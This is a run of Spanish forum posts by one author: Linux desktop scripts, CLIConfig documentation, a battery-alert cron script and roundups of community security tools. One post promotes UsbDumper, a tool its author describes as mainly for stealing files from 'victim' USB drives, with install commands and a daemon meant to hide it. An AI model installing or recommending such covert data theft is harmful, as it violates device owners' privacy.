execute='zenity --list --column="Session" --column="Information" --title="Seleccione una sesión Sr. DtxdF"'

while [ true ];do
let n+=1

aux=$(echo $aux_sessions | cut -d ";" -f $n)

if [ -z "$aux" ];then
break

fi

session_name=$(echo $aux | cut -d ":" -f 1)
session_info=$(echo $aux | cut -d ":" -f 2 | sed "s/^ //")

execute="$execute \"$session_name\" \"$session_info\""

done

IFS=$IFS_BAK
val=$(sh -c "$execute")

if [ $? -eq 0 ];then
urxvt -e sh -c "tmux attach -t \"$val\""

fi


power-script

Dependencias: zenity
Descripción: Permite apagar, reiniciar el equipo, aunque también podría cancelar las operaciones antes mencionadas.

Código: bash
#!/usr/bin/env bash

let option=$1 2> /dev/null
let timeout=10
let timetoshut=10
declare -x cancelfile="/tmp/noshut"

write_error_msg() {
zenity --text="$1" --error --no-wrap

}

check_noshut() {
if [ -f "$cancelfile" ];then
rm -f "$cancelfile"
exit 0

fi

}

if [ "$option" -eq 0 ];then
write_error_msg "¡Debes escribir una opción!"
exit 1

fi

if [ "$option" -eq 1 ];then
zenity --warning --text="Su equipo se apagará dentro de $timetoshut segundo(s) Sr. DtxdF, por favor sea paciente" --timeout=$timeout --no-wrap
sleep $timetoshut
check_noshut
poweroff

elif [ "$option" -eq 2 ];then
zenity --warning --text="Su equipo se reiniciará dentro de $timetoshut segundo(s) Sr. DtxdF, por favor sea paciente" --timeout=$timeout --no-wrap
sleep $timetoshut
check_noshut
reboot

elif [ "$option" -eq 3 ];then
touch $cancelfile
zenity --info --text="El equipo no se apagará Sr. DtxdF, no se preocupe ;-)" --timeout=$timeout --no-wrap

else
write_error_msg "¡Opción no encontrada!"
exit 3


fi

exit 0


simple-nmap-script

Dependencias: nmap zenity
Descripción: Escanea la red en busca de objetivos vivos
Estado: Próximamente...

wifi-scan-script

Estado: Próximamente...

Notas:

Para cambiar el tema por defecto de 'rofi', tendremos que ejecutar:

Código: bash
rofi-theme-selector


Se nos abrirá una ventana:


rofi-theme-selector

Presionamos ENTER para seleccionar un tema; ALT+A para ajustarlo como predeterminado; con ESC salimos y hasta podemos hacer una búsqueda de un tema por su nombre.


Si eres como yo y utiliza un Bam para comunicarse con el mundo exterior te recuerdo que hay un No tienes permitido ver los links. Registrarse o Entrar a mi cuenta para usar como alternativa a wvdial. Otra cosa, es que necesitamos agregar lo siguiente a el fichero sudoers para que no sea necesario requerir contraseña al conectarse al Modem USB:

Código: text
Host_Alias SRV_DTXDF = localhost, dtxdf # Nombre del host de la máquina

User_Alias USR_DTXDF = dtxdf # Nombre de usuario, en mi caso es 'dtxdf'

Cmnd_Alias WVDIAL       = /usr/bin/wvdial
Cmnd_Alias KILL_WVDIAL  = /usr/bin/killall wvdial

# Permitimos que se ejecute sudo sin contraseña a wvidlal y 'killall wvdial'
USR_DTXDF SRV_DTXDF = NOPASSWD:WVDIAL
USR_DTXDF SRV_DTXDF = NOPASSWD:KILL_WVDIAL



Si se desea cambiar la "clave modificadora" (ALT, por defecto) en DWM, se tiene que modificar 'config.def.h' (que luego será pasado a config.h), tendremos que irnos a la línea 47 y cambiar la constante simbólica 'MODKEY' con su valor 'Mod1Mask' por 'Mod4Mask', por ejemplo, sería asignar la tecla de Windows.

Podemos hacerlo con tantas teclas nos permita en 'xmodmap':


Código: bash
xmodmap




La razón por la que tengamos que copiar 'config.def.h' a 'config.h' es porque la comunidad de DWM realiza parches para mejorar mucho más la experiencia de éste, entonces si se modifica 'config.def.h' en vez de 'config.h', no estaríamos sobreescribiendo la configuración que le hayamos hecho.


En LightDM tuve que configurar algún par de cosas para que funcionara perfectamente, lo comentaré aquí por si a alguien le pasa:

En la sección de LightDM '[Seat:*]', descomentaremos 'session-wrapper' para que cargue el archivo Xsession; en la sección '[LightDM]' descomentaremos y nos aseguraremos de que las rutas que se colocan ahí sean correctas y existan, ya que permitirá leer los Archivos de Entrada de Escritorio.

Espero que a alguien le sirva ;)


Si se desean más temas para rofi, pueden ir al siguiente repositorio: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Conclusión:


~ DtxdF
#29
Un USB Dumper es una utilidad que copia (o extrae) todo los archivos que encuentre en un dispositivo (mayormente extraible, como un USB), una vez se conectó al ordenador. Éste tiene como primer objetivo el robo de información, pero puede darse un caso un tanto excepcional de un análisis o el respaldo de la información del mismo dispositivo.


La siguiente utilidad es un fork del usuario @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta que acabo de terminar, y pueden encontrar el post No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Repositorios:


Características de esta versión


  • Eficiencia: Es realmente rápido
  • Recursividad: Además de copiar todos los archivos que pueda, también crea las carpetas según el nombre de éstas en el directorio de salida
  • El pingüino se asoma por la ventana: Funciona tanto para Windows como para GNU/Linux
  • Múltiples objetivos: Los objetivos se definen en config.h según el sistema operativo y se pueden colocar más de uno si se desea
  • Fácil: Es realmente fácil, simplemente ejecutando el nombre del ejecutable, el parámetro ( -t ) para seleccionar la ruta y listo, empiece a extraer todos esos datos del dispositivo víctima, mientras que para *nix si se desea se puede usar el script (que es copiado en la instalación a '/etc/init.d') para crear un daemon y ejecutarlo en segundo plano.

Instalación:

Decarga:

Código: bash
git clone https://github.com/DtxdF/UsbDumper.git
cd UsbDumper


GNU/Linux

Código: bash
sudo make -f linux.mk install
man UsbDumper # UsbDumper -h


Nota: Por defecto se instala e inicia el daemon en "/etc/init.d", si desea puede apagarlo y deshabilitarlo (o borrarlo)

Código: bash
systemctl disable UsbDumper
systemctl stop UsbDumper
# Para eliminarlo
rm -f /etc/init.d/UsbDumper


El daemon no es necesario, es para que se mantenga oculta, pero hay diferentes maneras de poder lograrlo, como usar cron, usar nohup o una variedad de herramientas de apoyo. ¡ES LIBRE DE USAR LA QUE DESEA!

Windows

Código: bash
mingw32-make -f windows.mk
UsbDumper.exe -h


Notas


  • El programa termina su ejecución cuando se haya completado la extración de cada dispositivo víctima
  • Debe tener en cuenta la primera nota para el daemon, el daemon es usado para ocultar lo que se está haciendo.
  • Cuando se termine de extraer todos los archivos, el programa tomará en cuenta la ruta como identificador para no volver a copiar los archivos
  • El archivo config.h es el encargado de verificar los dispositivos víctimas, y es el usuario el que decide qué dispositivos serán los que se desea extraer los archivos

Capturas de pantalla

Instalando

Copiando los archivos del dispositivo víctima

Terminando la extracción

Actualizado: El programa se ha actualizado para agregar soporte Unicode tanto para Windows como Linux, además de otros pequeños errores o inconvenientes.

~ DtxdF
#30
En el día de hoy les presentare una fantástica herramienta que ha creado nuestro compañero @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta . Se hace llamar LeakChecker y su objetivo es mostrarnos si nuestras credenciales han sido filtradas a una base de datos, y lo mejor es que se puede hacer todo el proceso a través del teléfono.


La herramienta es de código abierto, pero nuestro compañero también nos proporcionó el APK e incluso, ésta no requiere permisos especiales para poder usarla. Dicho lo anterior tenemos dos opciones para descargarla: Clonar el repositorio o Descargar directamente el APK.

Clonando el repositorio:

Código: bash
git clone https://github.com/4nimanegra/LeakChecker.git
cd LeakChecker


En nuestro caso, usemos el APK:

Enlace de la descarga: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Una vez ejecutada:


La instalamos y una vez finalizada, disponemos de un formulario, ahí es donde tenemos que colocar nuestra dirección de correo electrónico para verificar si nuestras credenciales fueron expuestas:


Como se puede observar mis credenciales no están expuestas  ;D. También se puede observar la facilidad de la herramienta y lo mejor, es que podemos transportarla en nuestro bolsillo.

Algo que se debe tener en consideración es que al igual que el creador, la herramienta es ética, no procura revelar información sensible, por lo que sólo se mostrarán algunos caracteres y tendrá un tiempo de espera de 60 segundos por cada solicitud, suficiente para verificar.


~ DtxdF
#31
CLIConfig: Parsea tus archivos de configuración desde la terminal

CLIConfig es una utilidad para la línea de comandos, pero la verdadera estrella de esta película es la librería que usa "conf_parser.h" qué es la encargada de leer los archivos de configuración.CONF mientras que la herramienta antes mencionada hace mucho más.

Instalación

Código: bash
git clone https://github.com/DtxdF/CLIConfig.git
cd ./CLIConfig
sudo make install
man CLIConfig # o CLIConfig -h


Repositorio: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Ejemplos de CLIConfig

CLIConfig ayudará a la persona que esté haciendo scripting y necesite interactuar con los archivos de configuración del sistema. Por lo que siguiendo las pautas que se mostrarán a continuación quedará más que claro:

En mi caso yo usaré el archivo de configuración de DNSMASQ, pero antes haré una copia para esta demostración

Código: bash
cd /tmp
cp /etc/dnsmasq.conf .
CLIConfig dnsmasq.conf -s


CLIConfig no lee comentarios que tengan almuadillas antepuestas (#) por lo que en mi caso se mostraría lo siguiente:

Código: text
[Procesando: dnsmasq.conf]

domain-needed
bogus-priv
no-resolv
log-queries
log-dhcp
log-facility=/var/log/dnsmasq.log
server=1.1.1.1
server=1.0.0.1
dhcp-range=eth0,192.168.0.2,192.168.0.254,12h
interface=eth0

[Procesado: dnsmasq.conf]


Sí quisieramos eliminar el procesamiento se tendría que colocar el parámetro "-n" ó "--no-banner":

Código: text
domain-needed
bogus-priv
no-resolv
log-queries
log-dhcp
log-facility=/var/log/dnsmasq.log
server=1.1.1.1
server=1.0.0.1
dhcp-range=eth0,192.168.0.2,192.168.0.254,12h
interface=eth0


Sí quisieramos mostrar las claves "server" sería de la siguiente manera:

Código: bash
CLIConfig -k server -s dnsmasq.conf


El resultado sería el siguiente

Código: text
[Procesando: dnsmasq.conf]

server=1.1.1.1
server=1.0.0.1

[Procesado: dnsmasq.conf]


Quiero recordar que todo lo que no sea un parámetro o un argumento de un parámetro es un considerado un archivo

Código: bash
cp /etc/wvdial.conf .
CLIConfig -s dnsmasq.conf wvdial.conf


Resultado:

Código: text
[Procesando: dnsmasq.conf]

domain-needed
bogus-priv
no-resolv
log-queries
log-dhcp
log-facility=/var/log/dnsmasq.log
server=1.1.1.1
server=1.0.0.1
dhcp-range=eth0,192.168.0.2,192.168.0.254,12h
interface=eth0

[Procesado: dnsmasq.conf]
[Procesando: wvdial.conf]

[Dialer Defaults]
Init1 = ATZ
Init2 = ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0
Modem Type = Analog Modem
Baud = 9600
New PPPD = yes
Modem = /dev/ttyUSB2
ISDN = 0
Phone = *99
Password = none
Username = none

[Procesado: wvdial.conf]


CLIConfig no le quita los espacios a las claves, por lo que en el caso de wvdial se tendría que colocar espacios.

Código: bash
CLIConfig -s /etc/wvdial.conf -k "Username "


Resultado:

Código: text
[Procesando: /etc/wvdial.conf]

Username = none

[Procesado: /etc/wvdial.conf]


Para modificar los servidores DNS de dnsmasq.conf haríamos los siguiente:

Código: bash
CLIConfig dnsmasq.conf -k server -v 8.8.8.8 -o


Código: text
[Procesando: dnsmasq.conf]

¡server ha sido modificado con éxito!

[Procesado: dnsmasq.conf]


Si vemos el archivo modificado:

Código: bash
cat dnsmasq.conf


Código: text
domain-needed
bogus-priv
no-resolv
log-queries
log-dhcp
log-facility=/var/log/dnsmasq.log
server=8.8.8.8
server=8.8.8.8
dhcp-range=eth0,192.168.0.2,192.168.0.254,12h
interface=eth0


No se ve tan bien... Y es por qué no le especificamos qué coincidencia deseamos modificar, por lo que lo hará con todos los que encuentre, para realizarlo:

Código: bash
CLIConfig dnsmasq.conf -k server -v 8.8.4.4 -o -p 2
...
cat dnsmasq.conf


Código: bash
...
server=8.8.8.8
server=8.8.4.4
...


NOTA: El parámetro "-o" ó "--overwrite" sobre-escribe el valor de la clave y el archivo, por lo que es mejor que hagamos un respaldo del anterior en casos reales

Para agregar una nueva clave:

Código: bash
CLIConfig dnsmasq.conf -k dhcp-range -v wlan0,10.42.0.2,10.42.0.254,5h -w


Código: text
[Procesando: dnsmasq.conf]

Escrito: dhcp-range=wlan0,10.42.0.2,10.42.0.254,5h

[Procesado: dnsmasq.conf]


Para eliminar todas las claves coincidentes:

Código: bash
CLIConfig dnsmasq.conf -d -k server


Eliminar sólo la segunda coincidencia:

Código: bash
CLIConfig dnsmasq.conf -d -k server -p 2


Ver la ayuda:

Código: bash
CLIConfig -h


Funcionamiento de cada parámetro


  • -h/--help: Muestra la ayuda
  • -s/--show: Muestra el archivo de configuración parseado
  • -k/--key: Coincidir con la clave
  • -w/--write: Agregar una clave y un valor a la configuración
  • -v/--value: El valor de la clave
  • -n/--no-banner: No mostrar el procesamiento de los que se está haciendo
  • -o/--overwrite: Sobre-escribe el valor de una(s) clave(s)
  • -E/--expression: Usar un valor como coincidencia en vez de la clave
  • -I/--init: Iniciar la interacción después de un número N
  • -O/--only: Sólo actuar con N filas
  • --offset: Lo mismo que --only
  • -i/--id: Actuar solamente cuando la llamada del callback número X sea igual a Y
  • -p/--pattern: Cuándo haya N coincidencias encontradas actuar con la que ajustó el usuario
  • -d/--delete: Borrar una clave

NOTA: Es necesario comprender el funcionamiento de cada parámetro que usa, ya que no todos funcionan de la misma manera y no todos se pueden combinar, además de los valores por defecto que fueron otorgados a éstos por el diseño del mismo programa.

Combinaciones:


  • -s/--show: -k/--key, -E/--expression, -O/--only, -i/--id, -p/--pattern, -I/--init
  • -k/--key: -v/--value, -w/--write, -s/--show, -o/--overwrite, -O/--only, -i/--id, -p/--pattern, -d/--delete, -I/--init
  • -w/--write: -k/--key, -v/--value
  • -v/--value: -k/--key, -w/--write, -o/--overwrite, -O/--only, -p/--pattern, -I/--init
  • -o/--overwrite: -k/--key, -v/--value, -E/--expression, -O/--only, -p/--pattern, -I/--init
  • -E/--expression: -s/--show, -v/--value, -o/--overwrite, -O/--only, -p/--pattern, -I/--init
  • -O/--only/--offset: -s/--show, -k/--key, -v/--value, -o/--overwrite, -E/--expression, -i/--id, -p/--pattern, -d/--delete, -I/--init
  • -i/--id: -s/--show, -O/--only
  • -I/--init: -s/--show, -k/--key, -v/--value, -o/--overwrite, -E/--expression, -p/--pattern, -d/--delete
  • -p/--pattern: -s/--show, -k/--key, -v/--value, -o/--overwrite, -E/--expression, -O/--only, -d/--delete, -I/--init

NOTA-#1: El parámetro -n/--no-banner no fue colocado en la tabla porque se puede combinar con todos

NOTA-#2: Sí se define el parámetro -k/--key al mismo tiempo que -E/--expression, el segundo no se tomara en cuenta, pero si el primero.

NOTA-#3: El valor por defecto de los siguientes parámetros es "0", lo que quiere decir que no se hará nada al menos que se le coloque un número mayor: -O/--only, -i/--id, -p/--pattern.

Sintaxis de los archivos de configuración

La sintaxis de un archivo de configuración se rige de la siguiente manera:

Código: text
clave=valor


Ejemplo de la librería

Primero compilamos la librería:

Código: bash
make conf_parser.o


Teniendo el siguiente archivo de configuración:

Código: bash
cat test.conf

Código: text
name=Josef
lastname=Naranjo
age=17
alias=DtxdF


Y teniendo el siguiente parser (test.c):

Código: c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

#include "conf_parser.h"

#define CMP(x,y) strcmp(x, y) == 0

struct configuration {
char * name;
char * lastname;
long age;
char * alias;

};

int parser(void * config, char * key, char * value) {
struct configuration * conf = (struct configuration *)config;
char *endstr;

if (CMP(key, "name")) {
conf->name = strdup(value);

} else if (CMP(key, "lastname")) {
conf->lastname = strdup(value);

} else if (CMP(key, "age")) {
conf->age = strtol(value, &endstr, 10);

if (errno != 0) {
return errno;

}

} else if (CMP(key, "alias")) {
conf->alias = strdup(value);

} else {
return 3; // Cuando una clave no es válida (Opcional)

}

return 0;

}

int main(void) {
struct configuration config;
FILE * file;

if ((file = fopen("test.conf", "rb")) == NULL) {
perror("Error abriendo el archivo de configuración");
               
      return errno;

}

if (ini_parse(file, &config, parser) != 0) {
perror("Ocurrio un error interpretando el archivo de configuración");

return errno;

}

printf("Información del sujeto:\n");
printf("----------------------\n\n");

printf("Nombre: %s\n", config.name);
printf("Apellido: %s\n", config.lastname);
printf("Edad: %ld\n", config.age);
printf("Alias: %s\n", config.alias);

free(config.name);
free(config.lastname);
free(config.alias);

fclose(file);

return EXIT_SUCCESS;

}


Lo compilamos y ejecutamos:

Código: bash
gcc -Wall -O2 -o program test.c conf_parser.o strip.o
./program


Y obtenemos:

Código: text
Información del sujeto:
----------------------

Nombre: Josef
Apellido: Naranjo
Edad: 17
Alias: DtxdF


TODO


  • Auto-completado de comandos
  • Manpage
  • Verificador de sintaxis

Gracias a

Ustedes lectores por otra oportunidad. Comentarios, Reportes o alguna interacción sería excelente  ;)

~ DtxdF
#32
Underc0de / Índice de todos los "Tops Semanales"
Marzo 28, 2020, 03:21:00 AM
El siguiente post está hecho con la intención de crear una forma de organizar todos los "Tops de la semana", además que será de mucha utilidad para los nuevos usuarios que ingresen en Underc0de. Cada vez que se cumplan cinco Tops, se editara este post actualizandolo con el resumen.


Temporada #1


~ DtxdF
#33
Mucho pentester por ahí, mucho hacker, mucho forense, pero nada de recopilación, nada de organización. Éso es lo que trata esta quinta pero hermosa entrega, que se adentrará en las entrañas de Underc0de a exhumar sobre herramientas para usos tan específicos para cada quién.

Top lo mejor de lo mejor de Underc0de

Top mejores Posts:


1.- Título: SMBMap: busca datos sensibles en recursos compartidos Windows desde Kali
     Autor: @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Descripción: Una herramienta por excelencia, un post dotado de enseñanza, y una redactora excelente. Gabriela nos brinda su conocimiento con SMBMap, una herramienta que nos permitirá enumerar recursos compartidos Samba a lo largo de un dominio, pero no es todo lo que depara, enumera contenidos y permisos, así como soporta pass-the-hash, descarga y borra los ficheros, busca patrones de nombres de los archivos con la opción de autodescargarlos e incluso ejecuta comandos remotamente.


2.- Título: Dándole un vistazo a MDK3 - 1era Parte
     Autor: @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Descripción: MDK3 es una herramienta para la seguridad inalámbrica (Wireless, en inglés) que tiene multitud de opciones para probar la seguridad de nuestro router. Herramienta que se aprovecha de vulnerabilidades en el estándar IEEE 802.11. Cl0udswX nos ilustra como es todo el proceso no en uno, sino en dos maravillosos artículos que no puedes dejar pasar.


3.- Título: CMSmap - Escáner de CMS (XML-RPC Brute Force en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta)
     Autor: @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Descripción: CMSmap es un escáner de gestores de contenido de código abierto que está escrito en Python. Esta herramienta se encarga de automatizar el proceso de búsqueda de vulnerabilidades más conocidas de los CMS, cómo Wordpress, Joomla y Drupal. HATI, nos hace una demostración perfecta contra una página web muy conocida...


4.- Título: myCompiler: práctica 16 lenguajes de programación desde el navegador
     Autor: @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Descripción: Emprenderas un viaje lejano, se te olvido el teléfono, la laptop, no tienes Tmux/Userland o cualquier método para probar ese código que está en tu mente, no hay problema que Denisse nos comparte una página un tanto interesante, que se da por seguro que a cualquier desarrollador va a saber aprovechar.


5.- Título: Navegar con Proxy "Tor" en GNU/Linux
     Autor: @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Descripción: Todos nos hemos enfrentado a la triste realidad que hay una guerra constante entre la privacidad y los datos, pero no por ese aspecto negativo nos vamos a rendir y ser lo más servicial con lo que compartimos; desde nuestra ubicación, las páginas que visitamos, nuestros amigos, o básicamente todo lo que esté de algún modo relacionado. Stiuvert nos demuestra la importancia del afanado Tor, que pese a no ser 100% fiable, como su logo nos brindará una capa extra de seguridad.

Top mejores herramientas de la comunidad:


1.- Título: Underc0de Spy 1.1 LIBERADO AL FIN!!!!
     Autor: @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta!!!!
     Descripción: Underc0de Spy es una herramienta hecha por CrazyKade y tiene como objetivo ser un escáner de hosts, puertos y además dejar un puerto a la escucha para posteriores análisis. Él se inspiró a partir de un punto de fatiga en su vida profesional por acudir a diferentes herramientas de diferentes empresas, cosa que vió muy tediosa, así que con todo el amor creó una fantástica herramienta para ese objetivo.


2.- Título: Underc0de Dorker
     Autor: @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Descripción: Una vez más una herramienta que lleva el nombre de un conocido foro, pero algo que si se sale de esta rutina es lo que nos aporta blackdrake para facilitar el proceso de Google Hacking combinando Dorks nunca antes visto.


3.- Título: Lucrecia - Honeypot FTP
     Autor: @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Descripción: ¿Tienes un topo en la red? ¿Quieres sacarlo? ¿Qué...? ¿Por qué?, permitele entrar, ser lo más permisivo, no le denieges los paquetes, en su lugar usa la herramienta que nos brinda el hermano Kirari para espiar al espía.


4.- Título: Usb Dumper en C código y ejecutable
     Autor: @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Descripción: Se pensará que un USB Dumper es un simple programa que se ejecuta en segundo plano a robar archivos y no tiene más objetivos, pero la realidad es que puede qué esté anexo a una simple conclusión de cuál fue ese virus que se adentró por las entrañas de tu Sistema Operativo, así cómo también puede robar información por supuesto...


5.- Título: Base64 Encode/Decode metodo mas veloz
     Autor: @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Descripción: Números nos da una razón increible para seguir usando sus herramientas, el aprendizaje. Con sólo pocos snippets de código que él nos deja les apuesto que en la manera que este profesor enseña aprenderan más de lo que se imaginan,

~ DtxdF
#34
Python / Simple XML2JSON
Marzo 21, 2020, 12:20:56 AM
Lo siguiente, será un pequeño código para parsear XML a JSON usando la librería BeautifulSoup. Un código que les servirá a las personas que estén dando su primeros pasos en el scraping.

Código: python
import sys
import os
import signal
from json import dumps
from bs4 import BeautifulSoup

def xml2json(data):
    xml_parser = []

    for _ in data:
        xml_parser.append({
            _.name:
            (_.attrs, _.text)

            })

    return dumps(xml_parser, indent=6)

if (__name__ == '__main__'):
    program = sys.argv[0]
    argv = sys.argv[1:]

    if (argv == []):
        print(f'Uso: {program} <file>.xml')
        sys.exit(1)

    xml_file = argv[0]

    if (xml_file[0] == '-'):
        xml_data = sys.stdin.read()

    else:
        if not (os.path.isfile(xml_file)):
            print('Error, el archivo XML no existe')
            sys.exit(2)

        with open(xml_file, 'rb') as _file_object:
            xml_data = _file_object.read()

    xml_data = BeautifulSoup(xml_data, 'xml').find_all()

    print(xml2json(xml_data))


PD-#1: No dejé nada de comentarios, para que hagan una investigación ardua sobre todo ello... Su compañero será help(...)
PD-#2: Ejecuten lo siguiente y verán una magia:

Código: bash
nmap -T5 -n localhost -oX - | python3 xml2json.py - | less


~ DtxdF
#35
Hoy sacamos del baúl de Underc0de aportes que si se leen en la actualidad, seguro se tendrá un aire fresco y moderno a pesar de la longevidad de su publicación. Aportes, qué de seguro le caerá excelente a las personas que recien inician con GNU/Linux.

Top lo mejor de lo mejor de Underc0de

Top mejores Posts:


1.- Título: Trash-CLI, añade una papelera de reciclaje a la línea de comandos de Linux
     Autor: @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Descripción: rm -rfd Trabajos_para_el_fin_del_semestre. Un comando tan simple puede causar una destrucción completa de algún trabajo o en casos de alerta, el sistema. Trash-CLI viene a prevenir esas "Equivocaciones" de nuestra parte.


2.- Título: Cheat-Sheet: GNU/LINUX - Hoja Guía para que no se me olvide
     Autor: @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Descripción: ¿Cuántos usuarios noveles de GNU/Linux andan por ahí?, si se desea saber un número se puede apostar que más de 15, y se puede apostar más de 100$ que más de 15 tendrán dudas de su propia distro, tranquilos, guarden la calma que Denisse viene al rescate con un increible Cheat-Sheet para aquellas personas que consideren tener una memoria excepcionalmente espantosa.


3.- Título: Apache vs Nginx ¿Cúal es mejor?
     Autor: @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Descripción: Los dos son excelentes aplicativos, son queridos y odiados, son usados por muchos, pero ¿Cuál es mejor? ¿Cuál es la diferencia? ¿Quién se le puede personalizar más?. facufangio nos da una buena opinión objetiva de lo que estás buscando.


4.- Título: ¿Cómo eché a la gente de mi red WiFi para aumentar mi velocidad de internet?
     Autor: @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Descripción: Te vas a tu operadora más cercana,  contratas el mejor plan de Internet que nunca se ha visto y... no importará, ¿por qué?, simple, por ser una persona muy modesta e inocente compartiendo el WIFI a todo el mundo sin saber la consecuencia, pero no todo está perdido, puntoCL nos trae un excelente post sobre una herramienta para solucionar ese problema de conexión que no te deja navegar con tranqulidad.


5.- Título: Web Scraping con Python
     Autor: @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Descripción: ANTRAX nos trae un excelente post sobre cómo realizar scraping, que de seguro nos resultará fantástico a la hora de que ese amado servicio que tantas posibilidades trae, no cuente con una API.

Top mejores herramientas de la comunidad:


1.- Título: Cifrado Compresor
     Autor: @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Descripción: Azav nos trae una excelente herramienta para aprender cómo los famosos softwares de compresión actúan.


2.- Título: Generador de codigo basura
     Autor: @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Descripción: Números nos regala desde su arsenal una excelente herramienta para obfuscar mejor nuestros códigos.


3.- Título: VirusTotal Scanner 0.1
     Autor: @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Descripción: Te descargas ese archivo tan inocente, pero tú sabes que puede traer una sorpresa con sí, por lo que tu primer pensamiento es pasarlo en un escaner online, pero no cuentas con un entorno gráfico o simplemente no quieras salirte de la comodidad de tu Terminal, no hay problema que BigBear nos trae un excelente script para el análisis desde ésta misma.


4.- Título: Computer-Kingdom: ¿Flojera de usar el navegador para buscar una palabra?
     Autores: @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Descripción: ¿Mala memoria? ¿Una nueva palabra?, no te preocupes que DtxdF y Kirari forman alianzas para regarlate un pequeño diccionario de palabras informáticas.


5.- Título: Algoritmo para Des/Codificar
     Autor: @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Descripción: noxonsoftwares sacá de su baúl un algoritmo interesante que resultará útil a personas que estén aprendiendo a proteger sus documentos con herramientas propias.

[Co-Autores]: DtxdF & Bartz

~ DtxdF
#36
Si estamos en un entorno sin interfaz gráfica en nuestra laptop necesitaremos un pequeño duende que nos avise cuando la bateria se esté agotando para evitar un apagado inesperado, por eso les regalo un pequeño script que se que los que estén aprendiendo a depender solamente de los comandos, les encantará.

energy_black:

Código: bash
#!/usr/bin/bash

let limit
limit_file="/etc/energy_black.conf"
charging=$(acpi | cut -d" " -f3 | sed "s/,//g")
let number=$(acpi | cut -d " " -f4 | sed "s/%,//g")

# Cargamos el limite de la bateria para avisar a los usuarios.

if ! [ -r "$limit_file" ];then
echo "You aren't permissions to read the limitations file."
exit 1

else
limit=$(cat "$limit_file")

fi

if [ $limit -le 0 ];then
echo "The limit number is not greater or equal than 0"
exit

fi

if [ $number -le $limit ] && [ "Discharging" = "$charging" ];then
echo "The porcentage of batery is $number%, please you have to plug the charger!" | wall

fi


energy_black.conf

Código: bash
15


Nota: Cuando energy_black verifique que quedan 15% de bateria mandará un aviso hasta que conectes el cargador.

Ahora crearemos un enlace blando (Cómo el acceso directo de Windows) en las rutas correspondientes:

Código: bash
chmod 755 energy_black
chmod 644 energy_black.conf
ln -s $PWD/energy_black /usr/local/bin/energy_black
ln -s $PWD/energy_black.conf /etc/energy_black.conf


Ahora iniciamos el «daemon» "cron" en caso de que no lo tengamos iniciado y asignamos una nueva tarea para éste:

Código: bash
service cron start
crontab -e


Código: text
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').
#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
#
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
#
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
#
# For more information see the manual pages of crontab(5) and cron(8)
#
# m h  dom mon dow   command
* * * * * /usr/local/bin/energy_black


Con lo mostrado anteriormente se ejecutará cada minuto, pero pueden colocarle la comprobación que deseen, lo recomendable es medir cuanto dura la bateria dependiendo de nuestro uso y un tiempo que sea razonable, ya que la idea es que nos avise antes de que se descarge completamente.

Por cierto estas son las dependencias, que seguro ya las tenemos instaladas en nuestra distribución:

Código: text
sed
cron
acpi


Espero les guste y les ayude en algo...

~ DtxdF
#37
